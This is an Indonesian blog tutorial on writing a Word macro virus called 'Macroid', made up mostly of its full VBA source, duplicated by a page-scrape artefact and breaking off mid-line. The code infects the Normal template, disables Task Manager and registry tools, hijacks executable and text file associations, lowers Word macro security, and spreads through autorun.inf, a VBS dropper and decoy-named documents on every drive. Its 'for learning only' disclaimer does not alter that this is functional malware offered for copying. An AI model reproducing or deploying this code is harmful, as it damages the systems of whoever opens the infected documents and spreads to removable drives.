Pendahuluan
Virus komputer merupakan program komputer yang dapat menggandakan atau menyalin
dirinya sendiri dan menyebar dengan cara menyisipkan salinan dirinya ke dalam
program atau dokumen lain. Virus komputer dapat dianalogikan dengan virus
biologis yang menyebar dengan cara menyisipkan dirinya sendiri ke sel makhluk
hidup. Virus komputer dapat merusak (misalnya dengan merusak data pada
dokumen), membuat pengguna komputer merasa terganggu, maupun tidak menimbulkan
efek sama sekali.
Cara Kerja
Virus komputer umumnya dapat merusak perangkat lunak komputer dan tidak dapat
secara langsung merusak perangkat keras komputer tetapi dapat mengakibatkan
kerusakan dengan cara memuat program yang memaksa over process ke perangkat
tertentu. Efek negatif virus komputer adalah memperbanyak dirinya sendiri, yang
membuat sumber daya pada komputer (seperti penggunaan memori) menjadi berkurang
secara signifikan.Hampir 95% virus komputer berbasis sistem operasi
Windows.Sisanya menyerang Linux/GNU, Mac, FreeBSD, OS/2 IBM, dan Sun Operating
System. Virus yang ganas akan merusak perangkat keras.
(Baca: ilmu dalam tutorial ini untuk
pembelajaran bukan untuk disalahgunakan)
Ini adalah tutorial saya yang
kesekian kalinya dan mudah-mudahan tutorial kali ini bermanfaat untuk kalian.
Kali ini saya akan membahas mengenai virus macro… (para virus maker diharap
untuk tenang dulu!).
Pasti banyak bertanya kenapa kali ini membahas tentang cara membuat virus?
Biasanya kan lebih sering membahas analisis virus atau antivirusnya itu….
Yah kali ini memang agak berbeda.Selain untuk mencari suasana baru, aku juga
agak tertantang dengan artikel yang saya buat ini.
Sebelum aku membuat artikel ini, aku sengaja mencari-cari kelemahan dari
antivirusku sendiri (baca:Morphost). Ternyata aku lebih tertarik untuk membuat
virus macro untuk mencari celah antivirusku itu.Untuk membuat artikel ini
memang butuh pengorbanan juga.Soalnya komputerku jadi terinfeksi oleh virusku
sendiri. Haaahhh…..
Virus macro merupakan virus yang dibuat dalam bahasa pemrograman visual basic
macro di Microsoft Office.Kita ambil contoh, virus macro Word.
CARA MEMBUAT VIRUS
- Buka Ms.Word (hanya contoh)
- buka tools > Macro> Visual Basic Editor
- Akan muncul gambar di bawah
Lalu kita ketikkan source virus nya pada kotak putih diatas dan akan tampak
gambar seperti dibawah ini.
Sekarang muncul pertanyaan! Source yang bagaimana yang harus diketik???
Tenang, aku dah siapkan kok sourcenya. Makan neh source code!
<span style=”color:
#ff0000;”>‘This is my code’s virus</span>
1 |
<span style=”color:
#ff0000;”>‘This is my code’s virus</span> |
<span style=”color:
#ff0000;”>‘</span>
1 |
<span style=”color:
#ff0000;”>‘</span> |
<span style=”color:
#ff0000;”>‘Macro Viruses</span>
1 |
<span style=”color:
#ff0000;”>‘Macro Viruses</span> |
<span style=”color:
#ff0000;”>‘[Macroid]</span>
1 |
<span style=”color:
#ff0000;”>‘[Macroid]</span> |
<span style=”color:
#ff0000;”>‘</span>
1 |
<span style=”color:
#ff0000;”>‘</span> |
<span style=”color:
#ff0000;”>‘Hanya untuk pembelajaran</span>
1 |
<span style=”color:
#ff0000;”>‘Hanya untuk pembelajaran</span> |
<span style=”color:
#ff0000;”>Private Sub Document_Close()</span>
1 |
<span style=”color: #ff0000;”>Private
Sub Document_Close()</span> |
<span style=”color:
#ff0000;”>Dim AD, NT As Object</span>
1 |
<span style=”color:
#ff0000;”>Dim AD, NT As Object</span> |
<span style=”color:
#ff0000;”>Dim isi As String</span>
1 |
<span style=”color:
#ff0000;”>Dim isi As String</span> |
<span style=”color:
#ff0000;”>Set AD =
ActiveDocument.VBProject.VBComponents.Item(1)</span>
1 |
<span style=”color:
#ff0000;”>Set AD =
ActiveDocument.VBProject.VBComponents.Item(1)</span> |
<span style=”color:
#ff0000;”>Set NT = NormalTemplate.VBProject.VBComponents.Item(1)</span>
1 |
<span style=”color:
#ff0000;”>Set NT =
NormalTemplate.VBProject.VBComponents.Item(1)</span> |
<span style=”color:
#ff0000;”>If AD.Name <> “Macroid” Then</span>
1 |
<span style=”color:
#ff0000;”>If AD.Name <> “Macroid” Then</span> |
<span style=”color:
#ff0000;”>AD.CodeModule.DeleteLines 1,
AD.CodeModule.CountOfLines</span>
1 |
<span style=”color:
#ff0000;”>AD.CodeModule.DeleteLines 1,
AD.CodeModule.CountOfLines</span> |
<span style=”color: #ff0000;”>AD.Name
= “Macroid”</span>
1 |
<span style=”color:
#ff0000;”>AD.Name = “Macroid”</span> |
<span style=”color:
#ff0000;”>isi = NT.CodeModule.Lines(1,
NT.CodeModule.CountOfLines)</span>
1 |
<span style=”color:
#ff0000;”>isi = NT.CodeModule.Lines(1, NT.CodeModule.CountOfLines)</span> |
<span style=”color:
#ff0000;”>AD.CodeModule.AddFromString isi</span>
1 |
<span style=”color:
#ff0000;”>AD.CodeModule.AddFromString isi</span> |
<span style=”color:
#ff0000;”>ActiveDocument.Save</span>
1 |
<span style=”color:
#ff0000;”>ActiveDocument.Save</span> |
<span style=”color:
#ff0000;”>End If</span>
1 |
<span style=”color:
#ff0000;”>End If</span> |
<span style=”color:
#ff0000;”>If NT.Name <> “Macroid” Then</span>
1 |
<span style=”color:
#ff0000;”>If NT.Name <> “Macroid” Then</span> |
<span style=”color:
#ff0000;”>NT.CodeModule.DeleteLines 1,
NT.CodeModule.CountOfLines</span>
1 |
<span style=”color:
#ff0000;”>NT.CodeModule.DeleteLines 1,
NT.CodeModule.CountOfLines</span> |
<span style=”color:
#ff0000;”>NT.Name = “Macroid”</span>
1 |
<span style=”color:
#ff0000;”>NT.Name = “Macroid”</span> |
<span style=”color:
#ff0000;”>isi = AD.CodeModule.Lines(1,
AD.CodeModule.CountOfLines)</span>
1 |
<span style=”color:
#ff0000;”>isi = AD.CodeModule.Lines(1,
AD.CodeModule.CountOfLines)</span> |
<span style=”color:
#ff0000;”>NT.CodeModule.AddFromString isi</span>
1 |
<span style=”color:
#ff0000;”>NT.CodeModule.AddFromString isi</span> |
<span style=”color:
#ff0000;”>NormalTemplate.Save</span>
1 |
<span style=”color:
#ff0000;”>NormalTemplate.Save</span> |
<span style=”color:
#ff0000;”>End If</span>
1 |
<span style=”color:
#ff0000;”>End If</span> |
<span style=”color:
#ff0000;”>If InStr(ActiveDocument.Content, “Macroid”) = 0 Then</span>
1 |
<span style=”color:
#ff0000;”>If InStr(ActiveDocument.Content, “Macroid”) = 0
Then</span> |
<span
style=”color: #ff0000;”>ActiveDocument.Content = “[Macroid]”
& vbCrLf & ActiveDocument.Content & vbCrLf
& vbCrLf & vbCrLf & “[Macroid] by Morphic”
& vbCrLf & “copyright(c) Medan Juli-2008″</span>
1 |
<span style=”color:
#ff0000;”>ActiveDocument.Content = “[Macroid]” & vbCrLf &
ActiveDocument.Content & vbCrLf & vbCrLf & vbCrLf
& “[Macroid] by Morphic” & vbCrLf & “copyright(c)
Medan Juli-2008″</span> |
<span style=”color:
#ff0000;”>End If</span>
1 |
<span style=”color:
#ff0000;”>End If</span> |
<span style=”color:
#ff0000;”>On Error Resume Next</span>
1 |
<span style=”color:
#ff0000;”>On Error Resume Next</span> |
<span style=”color:
#ff0000;”>Dim b As Object</span>
1 |
<span style=”color:
#ff0000;”>Dim b As Object</span> |
<span style=”color:
#ff0000;”>Set b = CreateObject(“Wscript.Shell”)</span>
1 |
<span style=”color:
#ff0000;”>Set b = CreateObject(“Wscript.Shell”)</span> |
<span
style=”color: #ff0000;”>b.regwrite “HKCU\SOFTWARE\Microsoft\Internet
Explorer\Main\Window Title”, “Browser Internet ini diambil alih oleh
Macroid”</span>
1 |
<span style=”color:
#ff0000;”>b.regwrite “HKCU\SOFTWARE\Microsoft\Internet
Explorer\Main\Window Title”, “Browser Internet ini diambil alih oleh
Macroid”</span> |
<span
style=”color: #ff0000;”>b.regwrite
“HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Winlogon\LegalNoticeCaption”,
“Macroid”</span>
1 |
<span style=”color:
#ff0000;”>b.regwrite “HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Winlogon\LegalNoticeCaption”,
“Macroid”</span> |
<span
style=”color: #ff0000;”>b.regwrite
“HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows
NT\CurrentVersion\RegisteredOrganization”, “Macroid”</span>
1 |
<span style=”color:
#ff0000;”>b.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows
NT\CurrentVersion\RegisteredOrganization”, “Macroid”</span> |
<span
style=”color: #ff0000;”>b.regwrite
“HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows
NT\CurrentVersion\RegisteredOwner”, “VM-Morphic”</span>
1 |
<span style=”color: #ff0000;”>b.regwrite
“HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows
NT\CurrentVersion\RegisteredOwner”, “VM-Morphic”</span> |
<span
style=”color: #ff0000;”>b.regwrite “HKLM\SOFTWARE\Microsoft\Windows
NT\CurrentVersion\Winlogon\LegalNoticeText”, “Macroid-A. Eat this!!! Ha
ha ha”</span>
1 |
<span style=”color:
#ff0000;”>b.regwrite “HKLM\SOFTWARE\Microsoft\Windows
NT\CurrentVersion\Winlogon\LegalNoticeText”, “Macroid-A. Eat this!!! Ha ha
ha”</span> |
<span
style=”color: #ff0000;”>b.regwrite
“HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Advanced\Hidden”,
“2″</span>
1 |
<span style=”color:
#ff0000;”>b.regwrite
“HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Advanced\Hidden”,
“2″</span> |
<span
style=”color: #ff0000;”>b.regwrite
“HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFind”,
“1″</span>
1 |
<span style=”color:
#ff0000;”>b.regwrite
“HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFind”,
“1″</span> |
<span
style=”color: #ff0000;”>b.regwrite
“HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFolderOptions”,
“1″</span>
1 |
<span style=”color:
#ff0000;”>b.regwrite
“HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFolderOptions”,
“1″</span> |
<span
style=”color: #ff0000;”>b.regwrite
“HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRun”,
“1″</span>
1 |
<span style=”color:
#ff0000;”>b.regwrite
“HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRun”,
“1″</span> |
<span
style=”color: #ff0000;”>b.regwrite
“HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools”,
“1″</span>
1 |
<span style=”color:
#ff0000;”>b.regwrite
“HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools”,
“1″</span> |
<span
style=”color: #ff0000;”>b.regwrite
“HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr”,
“1″</span>
1 |
<span style=”color:
#ff0000;”>b.regwrite
“HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr”,
“1″</span> |
<span
style=”color: #ff0000;”>b.regwrite
“HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt”,
“1″</span>
1 |
<span style=”color:
#ff0000;”>b.regwrite
“HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt”,
“1″</span> |
<span
style=”color: #ff0000;”>b.regwrite
“HKLM\SOFTWARE\Classes\CLSID\{645FF040-5081-101B-9F08-00AA002F954E}\”,
“Tong Sampah Macroid”</span>
1 |
<span style=”color:
#ff0000;”>b.regwrite “HKLM\SOFTWARE\Classes\CLSID\{645FF040-5081-101B-9F08-00AA002F954E}\”,
“Tong Sampah Macroid”</span> |
<span
style=”color: #ff0000;”>b.regwrite
“HKLM\SOFTWARE\Classes\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\”,
“Komputer Morphic”</span>
1 |
<span style=”color:
#ff0000;”>b.regwrite “HKLM\SOFTWARE\Classes\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\”,
“Komputer Morphic”</span> |
<span
style=”color: #ff0000;”>b.regwrite
“HKLM\SOFTWARE\Classes\exefile\shell\open\command\”, “Winword.exe ”
& Environ$(“windir”) & “\Macroid.doc”</span>
1 |
<span style=”color:
#ff0000;”>b.regwrite “HKLM\SOFTWARE\Classes\exefile\shell\open\command\”,
“Winword.exe ” & Environ$(“windir”) &
“\Macroid.doc”</span> |
<span
style=”color: #ff0000;”>b.regwrite
“HKLM\SOFTWARE\Classes\comfile\shell\open\command\”, “Winword.exe ”
& Environ$(“windir”) & “\Macroid.doc”</span>
1 |
<span style=”color:
#ff0000;”>b.regwrite “HKLM\SOFTWARE\Classes\comfile\shell\open\command\”,
“Winword.exe ” & Environ$(“windir”) &
“\Macroid.doc”</span> |
<span
style=”color: #ff0000;”>b.regwrite
“HKLM\SOFTWARE\Classes\vbsfile\shell\edit\command\”, “Winword.exe ”
& Environ$(“windir”) & “\Macroid.doc”</span>
1 |
<span style=”color:
#ff0000;”>b.regwrite “HKLM\SOFTWARE\Classes\vbsfile\shell\edit\command\”,
“Winword.exe ” & Environ$(“windir”) &
“\Macroid.doc”</span> |
<span
style=”color: #ff0000;”>b.regwrite
“HKLM\SOFTWARE\Classes\txtfile\shell\open\command\”, “Winword.exe ”
& Environ$(“windir”) & “\Macroid.doc”</span>
1 |
<span style=”color:
#ff0000;”>b.regwrite “HKLM\SOFTWARE\Classes\txtfile\shell\open\command\”,
“Winword.exe ” & Environ$(“windir”) &
“\Macroid.doc”</span> |
<span
style=”color: #ff0000;”>b.regwrite
“HKLM\SOFTWARE\Classes\scrfile\shell\open\command\”, “Winword.exe ”
& Environ$(“windir”) & “\Macroid.doc”</span>
1 |
<span style=”color:
#ff0000;”>b.regwrite “HKLM\SOFTWARE\Classes\scrfile\shell\open\command\”,
“Winword.exe ” & Environ$(“windir”) &
“\Macroid.doc”</span> |
<span
style=”color: #ff0000;”>b.regwrite
“HKLM\SOFTWARE\Classes\batfile\shell\open\command\”, “Winword.exe ”
& Environ$(“windir”) & “\Macroid.doc”</span>
1 |
<span style=”color:
#ff0000;”>b.regwrite “HKLM\SOFTWARE\Classes\batfile\shell\open\command\”,
“Winword.exe ” & Environ$(“windir”) & “\Macroid.doc”</span> |
<span style=”color:
#ff0000;”>b.regwrite “HKLM\SOFTWARE\Classes\Folder\shell\”,
“0pen”</span>
1 |
<span style=”color:
#ff0000;”>b.regwrite “HKLM\SOFTWARE\Classes\Folder\shell\”,
“0pen”</span> |
<span style=”color:
#ff0000;”>b.regwrite “HKLM\SOFTWARE\Classes\Folder\shellpen\”,
“&Open”</span>
1 |
<span style=”color:
#ff0000;”>b.regwrite “HKLM\SOFTWARE\Classes\Folder\shellpen\”,
“&Open”</span> |
<span
style=”color: #ff0000;”>b.regwrite
“HKLM\SOFTWARE\Classes\Folder\shellpen\command\”, “wscript.exe ”
& Environ$(“windir”) & “\avmc.vbs”</span>
1 |
<span style=”color:
#ff0000;”>b.regwrite “HKLM\SOFTWARE\Classes\Folder\shellpen\command\”,
“wscript.exe ” & Environ$(“windir”) &
“\avmc.vbs”</span> |
<span
style=”color: #ff0000;”>b.regwrite
“HKLM\SOFTWARE\Classes\VisualBasic.Project\shell\open\command\”,
“Winword.exe ” & Environ$(“windir”) &
“\Macroid.doc”</span>
1 |
<span style=”color:
#ff0000;”>b.regwrite
“HKLM\SOFTWARE\Classes\VisualBasic.Project\shell\open\command\”, “Winword.exe
” & Environ$(“windir”) & “\Macroid.doc”</span> |
<span style=”color:
#ff0000;”>On Error Resume Next</span>
1 |
<span style=”color:
#ff0000;”>On Error Resume Next</span> |
<span style=”color:
#ff0000;”>Dim rog As Integer</span>
1 |
<span style=”color:
#ff0000;”>Dim rog As Integer</span> |
<span style=”color:
#ff0000;”>Dim atr, vbs, Tipu(10), Trik(10) As String</span>
1 |
<span style=”color:
#ff0000;”>Dim atr, vbs, Tipu(10), Trik(10) As String</span> |
<span style=”color:
#ff0000;”>For a = 66 To 90</span>
1 |
<span style=”color:
#ff0000;”>For a = 66 To 90</span> |
<span style=”color:
#ff0000;”>partisi = Chr$(a)</span>
1 |
<span style=”color:
#ff0000;”>partisi = Chr$(a)</span> |
<span style=”color:
#ff0000;”>vbs = partisi & “:\auto.vbs”</span>
1 |
<span style=”color:
#ff0000;”>vbs = partisi & “:\auto.vbs”</span> |
<span style=”color:
#ff0000;”>atr = partisi & “:\autorun.inf”</span>
1 |
<span style=”color:
#ff0000;”>atr = partisi & “:\autorun.inf”</span> |
<span style=”color:
#ff0000;”>Tipu(1) = partisi & “:\Soal SPMB
1995-2008.doc”</span>
1 |
<span style=”color:
#ff0000;”>Tipu(1) = partisi & “:\Soal SPMB
1995-2008.doc”</span> |
<span style=”color:
#ff0000;”>Tipu(2) = partisi & “:\Kisah di balik
HarryPotter.doc”</span>
1 |
<span style=”color:
#ff0000;”>Tipu(2) = partisi & “:\Kisah di balik
HarryPotter.doc”</span> |
<span style=”color:
#ff0000;”>Tipu(3) = partisi & “:\Titip File
sebentar.doc”</span>
1 |
<span style=”color:
#ff0000;”>Tipu(3) = partisi & “:\Titip File sebentar.doc”</span> |
<span style=”color:
#ff0000;”>Tipu(4) = partisi & “:\jangan di baca.doc”</span>
1 |
<span style=”color:
#ff0000;”>Tipu(4) = partisi & “:\jangan di baca.doc”</span> |
<span style=”color:
#ff0000;”>Tipu(5) = partisi & “:\buku harian.doc”</span>
1 |
<span style=”color:
#ff0000;”>Tipu(5) = partisi & “:\buku harian.doc”</span> |
<span style=”color:
#ff0000;”>Tipu(6) = partisi & “:\cerita hangat.doc”</span>
1 |
<span style=”color:
#ff0000;”>Tipu(6) = partisi & “:\cerita hangat.doc”</span> |
<span style=”color:
#ff0000;”>Tipu(7) = partisi & “:\Punya Baim.doc”</span>
1 |
<span style=”color:
#ff0000;”>Tipu(7) = partisi & “:\Punya Baim.doc”</span> |
<span style=”color:
#ff0000;”>Tipu(8) = partisi & “:\Teka-teki yang baru.doc”</span>
1 |
<span style=”color:
#ff0000;”>Tipu(8) = partisi & “:\Teka-teki yang
baru.doc”</span> |
<span style=”color:
#ff0000;”>Tipu(9) = partisi & “:\Kumpulan cerita
lucu.doc”</span>
1 |
<span style=”color:
#ff0000;”>Tipu(9) = partisi & “:\Kumpulan cerita
lucu.doc”</span> |
<span style=”color:
#ff0000;”>Tipu(10) = partisi & “:\Trik Sulap.doc”</span>
1 |
<span style=”color:
#ff0000;”>Tipu(10) = partisi & “:\Trik Sulap.doc”</span> |
<span
style=”color: #ff0000;”>If Dir(Tipu(1)) = “” And Dir(Tipu(2)) = “”
And Dir(Tipu(3)) = “” And Dir(Tipu(4)) = “” And Dir(Tipu(5)) = “” And
Dir(Tipu(6)) = “” And Dir(Tipu(7)) = “” And Dir(Tipu(8)) = “” And
Dir(Tipu(9)) = “” And Dir(Tipu(10)) = “” Then</span>
1 |
<span style=”color:
#ff0000;”>If Dir(Tipu(1)) = “” And Dir(Tipu(2)) = “” And Dir(Tipu(3)) = “”
And Dir(Tipu(4)) = “” And Dir(Tipu(5)) = “” And Dir(Tipu(6)) = “” And
Dir(Tipu(7)) = “” And Dir(Tipu(8)) = “” And Dir(Tipu(9)) = “” And
Dir(Tipu(10)) = “” Then</span> |
<span style=”color:
#ff0000;”>Randomize</span>
1 |
<span style=”color:
#ff0000;”>Randomize</span> |
<span style=”color:
#ff0000;”>rog = Int(10 * Rnd) + 1</span>
1 |
<span style=”color:
#ff0000;”>rog = Int(10 * Rnd) + 1</span> |
<span style=”color:
#ff0000;”>Open Tipu(rog) For Output As #1</span>
1 |
<span style=”color:
#ff0000;”>Open Tipu(rog) For Output As #1</span> |
<span style=”color:
#ff0000;”>Print #1, “”</span>
1 |
<span style=”color:
#ff0000;”>Print #1, “”</span> |
<span style=”color:
#ff0000;”>Close #1</span>
1 |
<span style=”color:
#ff0000;”>Close #1</span> |
<span style=”color:
#ff0000;”>End If</span>
1 |
<span style=”color:
#ff0000;”>End If</span> |
<span style=”color:
#ff0000;”>Trik(1) = partisi & “:\Novel J.K.Rowling.doc”</span>
1 |
<span style=”color:
#ff0000;”>Trik(1) = partisi & “:\Novel J.K.Rowling.doc”</span> |
<span style=”color:
#ff0000;”>Trik(2) = partisi & “:\cerita cinta.doc”</span>
1 |
<span style=”color:
#ff0000;”>Trik(2) = partisi & “:\cerita cinta.doc”</span> |
<span style=”color:
#ff0000;”>Trik(3) = partisi & “:\Ringkasan cerita
HarryPotter.doc”</span>
1 |
<span style=”color:
#ff0000;”>Trik(3) = partisi & “:\Ringkasan cerita
HarryPotter.doc”</span> |
<span style=”color:
#ff0000;”>Trik(4) = partisi & “:\Semua Cheat game
DOTA.doc”</span>
1 |
<span style=”color:
#ff0000;”>Trik(4) = partisi & “:\Semua Cheat game
DOTA.doc”</span> |
<span style=”color:
#ff0000;”>Trik(5) = partisi & “:\Kumpulan Cheat
game.doc”</span>
1 |
<span style=”color:
#ff0000;”>Trik(5) = partisi & “:\Kumpulan Cheat
game.doc”</span> |
<span style=”color:
#ff0000;”>Trik(6) = partisi & “:\Cheat game RF.doc”</span>
1 |
<span style=”color:
#ff0000;”>Trik(6) = partisi & “:\Cheat game RF.doc”</span> |
<span style=”color:
#ff0000;”>Trik(7) = partisi & “:\Cheat game Ayo Dance.doc”</span>
1 |
<span style=”color:
#ff0000;”>Trik(7) = partisi & “:\Cheat game Ayo
Dance.doc”</span> |
<span style=”color:
#ff0000;”>Trik(8) = partisi & “:\Goosebumps.doc”</span>
1 |
<span style=”color:
#ff0000;”>Trik(8) = partisi & “:\Goosebumps.doc”</span> |
<span style=”color:
#ff0000;”>Trik(9) = partisi & “:\FearStreet.doc”</span>
1 |
<span style=”color:
#ff0000;”>Trik(9) = partisi & “:\FearStreet.doc”</span> |
<span style=”color:
#ff0000;”>Trik(10) = partisi & “:\R.L.Stine.doc”</span>
1 |
<span style=”color:
#ff0000;”>Trik(10) = partisi & “:\R.L.Stine.doc”</span> |
<span
style=”color: #ff0000;”>If Dir(Trik(1)) = “” And Dir(Trik(2)) = “”
And Dir(Trik(3)) = “” And Dir(Trik(4)) = “” And Dir(Trik(5)) = “” And
Dir(Trik(6)) = “” And Dir(Trik(7)) = “” And Dir(Trik(8)) = “” And
Dir(Trik(9)) = “” And Dir(Trik(10)) = “” Then</span>
1 |
<span style=”color:
#ff0000;”>If Dir(Trik(1)) = “” And Dir(Trik(2)) = “” And Dir(Trik(3)) = “”
And Dir(Trik(4)) = “” And Dir(Trik(5)) = “” And Dir(Trik(6)) = “” And
Dir(Trik(7)) = “” And Dir(Trik(8)) = “” And Dir(Trik(9)) = “” And
Dir(Trik(10)) = “” Then</span> |
<span style=”color:
#ff0000;”>Randomize</span>
1 |
<span style=”color:
#ff0000;”>Randomize</span> |
<span style=”color:
#ff0000;”>rogi = Int(10 * Rnd) + 1</span>
1 |
<span style=”color:
#ff0000;”>rogi = Int(10 * Rnd) + 1</span> |
<span style=”color:
#ff0000;”>Open Trik(rogi) For Output As #1</span>
1 |
<span style=”color:
#ff0000;”>Open Trik(rogi) For Output As #1</span> |
<span style=”color:
#ff0000;”>Print #1, “”</span>
1 |
<span style=”color:
#ff0000;”>Print #1, “”</span> |
<span style=”color:
#ff0000;”>Close #1</span>
1 |
<span style=”color:
#ff0000;”>Close #1</span> |
<span style=”color:
#ff0000;”>End If</span>
1 |
<span style=”color:
#ff0000;”>End If</span> |
<span style=”color: #ff0000;”>Open
atr For Output As #1</span>
1 |
<span style=”color:
#ff0000;”>Open atr For Output As #1</span> |
<span style=”color:
#ff0000;”>Print #1, “[Autorun]“</span>
1 |
<span style=”color:
#ff0000;”>Print #1, “[Autorun]“</span> |
<span style=”color: #ff0000;”>Print
#1, “shell\Open\command=wscript.exe auto.vbs”</span>
1 |
<span style=”color:
#ff0000;”>Print #1, “shell\Open\command=wscript.exe auto.vbs”</span> |
<span style=”color:
#ff0000;”>Close #1</span>
1 |
<span style=”color:
#ff0000;”>Close #1</span> |
<span style=”color:
#ff0000;”>SetAttr atr, vbHidden + vbSystem</span>
1 |
<span style=”color:
#ff0000;”>SetAttr atr, vbHidden + vbSystem</span> |
<span style=”color:
#ff0000;”>Open vbs For Output As #1</span>
1 |
<span style=”color:
#ff0000;”>Open vbs For Output As #1</span> |
<span style=”color:
#ff0000;”>Print #1, “dim a”</span>
1 |
<span style=”color:
#ff0000;”>Print #1, “dim a”</span> |
<span
style=”color: #ff0000;”>Print #1, “set a = createobject(” &
Chr(34) & “Wscript.shell” & Chr(34) &
“)”</span>
1 |
<span style=”color:
#ff0000;”>Print #1, “set a = createobject(” & Chr(34) &
“Wscript.shell” & Chr(34) & “)”</span> |
<span
style=”color: #ff0000;”>Print #1, “a.regwrite ” & Chr(34)
& “HKCU\Software\Microsoft\Office\10.0\Word\Security\Level”
& Chr(34) & “,” & Chr(34) & “1″
& Chr(34) & “,” & Chr(34) & “REG_DWORD”
& Chr(34)</span>
1 |
<span style=”color:
#ff0000;”>Print #1, “a.regwrite ” & Chr(34) &
“HKCU\Software\Microsoft\Office\10.0\Word\Security\Level” & Chr(34)
& “,” & Chr(34) & “1″ & Chr(34) & “,”
& Chr(34) & “REG_DWORD” & Chr(34)</span> |
<span
style=”color: #ff0000;”>Print #1, “a.regwrite ” & Chr(34)
& “HKCU\Software\Microsoft\Office\11.0\Word\Security\Level”
& Chr(34) & “,” & Chr(34) & “1″
& Chr(34) & “,” & Chr(34) & “REG_DWORD”
& Chr(34)</span>
1 |
<span style=”color:
#ff0000;”>Print #1, “a.regwrite ” & Chr(34) &
“HKCU\Software\Microsoft\Office\11.0\Word\Security\Level” & Chr(34)
& “,” & Chr(34) & “1″ & Chr(34) & “,”
& Chr(34) & “REG_DWORD” & Chr(34)</span> |
<span
style=”color: #ff0000;”>Print #1, “a.regwrite ” & Chr(34)
& “HKCU\Software\Microsoft\Office\12.0\Word\Security\Level”
& Chr(34) & “,” & Chr(34) & “1″
& Chr(34) & “,” & Chr(34) & “REG_DWORD”
& Chr(34)</span>
1 |
<span style=”color:
#ff0000;”>Print #1, “a.regwrite ” & Chr(34) &
“HKCU\Software\Microsoft\Office\12.0\Word\Security\Level” & Chr(34)
& “,” & Chr(34) & “1″ & Chr(34) & “,”
& Chr(34) & “REG_DWORD” & Chr(34)</span> |
<span style=”color:
#ff0000;”>Close #1</span>
1 |
<span style=”color:
#ff0000;”>Close #1</span> |
<span style=”color:
#ff0000;”>SetAttr vbs, vbHidden + vbSystem</span>
1 |
<span style=”color:
#ff0000;”>SetAttr vbs, vbHidden + vbSystem</span> |
<span style=”color:
#ff0000;”>Next a</span>
1 |
<span style=”color:
#ff0000;”>Next a</span> |
<span style=”color:
#ff0000;”>If Dir(Environ$(“windir”) & “\Macroid.doc”) = “”
Then</span>
1 |
<span style=”color:
#ff0000;”>If Dir(Environ$(“windir”) & “\Macroid.doc”) = “”
Then</span> |
<span style=”color:
#ff0000;”>Dim isicrita As String</span>
1 |
<span style=”color:
#ff0000;”>Dim isicrita As String</span> |
<span
style=”color: #ff0000;”>isicrita = “[Macroid] by Morphic” &
vbCrLf & “Copyright(c) Medan Juli-2008″ & vbCrLf
& vbCrLf & _</span>
1 |
<span style=”color: #ff0000;”>isicrita
= “[Macroid] by Morphic” & vbCrLf & “Copyright(c) Medan
Juli-2008″ & vbCrLf & vbCrLf & _</span> |
<span
style=”color: #ff0000;”>Chr(34) & “Ms.Word is a thing that
can be used as a power to break everything…. ” & Chr(34)
& vbCrLf & “(Morphic)”</span>
1 |
<span style=”color:
#ff0000;”>Chr(34) & “Ms.Word is a thing that can be used as a
power to break everything…. ” & Chr(34) & vbCrLf &
“(Morphic)”</span> |
<span style=”color:
#ff0000;”>Open Environ$(“windir”) & “\Macroid.doc” For Output As
#1</span>
1 |
<span style=”color:
#ff0000;”>Open Environ$(“windir”) & “\Macroid.doc” For Output As
#1</span> |
<span style=”color:
#ff0000;”>Print #1, isicrita</span>
1 |
<span style=”color:
#ff0000;”>Print #1, isicrita</span> |
<span style=”color:
#ff0000;”>Close #1</span>
1 |
<span style=”color:
#ff0000;”>Close #1</span> |
<span style=”color:
#ff0000;”>End If</span>
1 |
<span style=”color:
#ff0000;”>End If</span> |
<span style=”color:
#ff0000;”>If Dir(Environ$(“windir”) & “\avmc.vbs”) = “”
Then</span>
1 |
<span style=”color:
#ff0000;”>If Dir(Environ$(“windir”) & “\avmc.vbs”) = “”
Then</span> |
<span style=”color:
#ff0000;”>Open Environ$(“windir”) & “\avmc.vbs” For Output As
#1</span>
1 |
<span style=”color:
#ff0000;”>Open Environ$(“windir”) & “\avmc.vbs” For Output As
#1</span> |
<span
style=”color: #ff0000;”>Print #1, “set fs = createobject(” &
Chr(34) & “Scripting.FileSystemObject” & Chr(34)
& “)”</span>
1 |
<span style=”color:
#ff0000;”>Print #1, “set fs = createobject(” & Chr(34) &
“Scripting.FileSystemObject” & Chr(34) & “)”</span> |
<span style=”color:
#ff0000;”>Print #1, “for each FD in fs.drives”</span>
1 |
<span style=”color:
#ff0000;”>Print #1, “for each FD in fs.drives”</span> |
<span
style=”color: #ff0000;”>Print #1, “if (FD.Drivetype = 1) and FD.Path
<> ” & Chr(34) & “A:” & Chr(34)
& ” then”</span>
1 |
<span style=”color:
#ff0000;”>Print #1, “if (FD.Drivetype = 1) and FD.Path <> ”
& Chr(34) & “A:” & Chr(34) & ”
then”</span> |
<span
style=”color: #ff0000;”>Print #1, “set tf =
fs.CreateTextFile(FD.Path” & Chr(38) & Chr(34) &
“\Jangan di baca.doc” & Chr(34) & “)”</span>
1 |
<span style=”color: #ff0000;”>Print
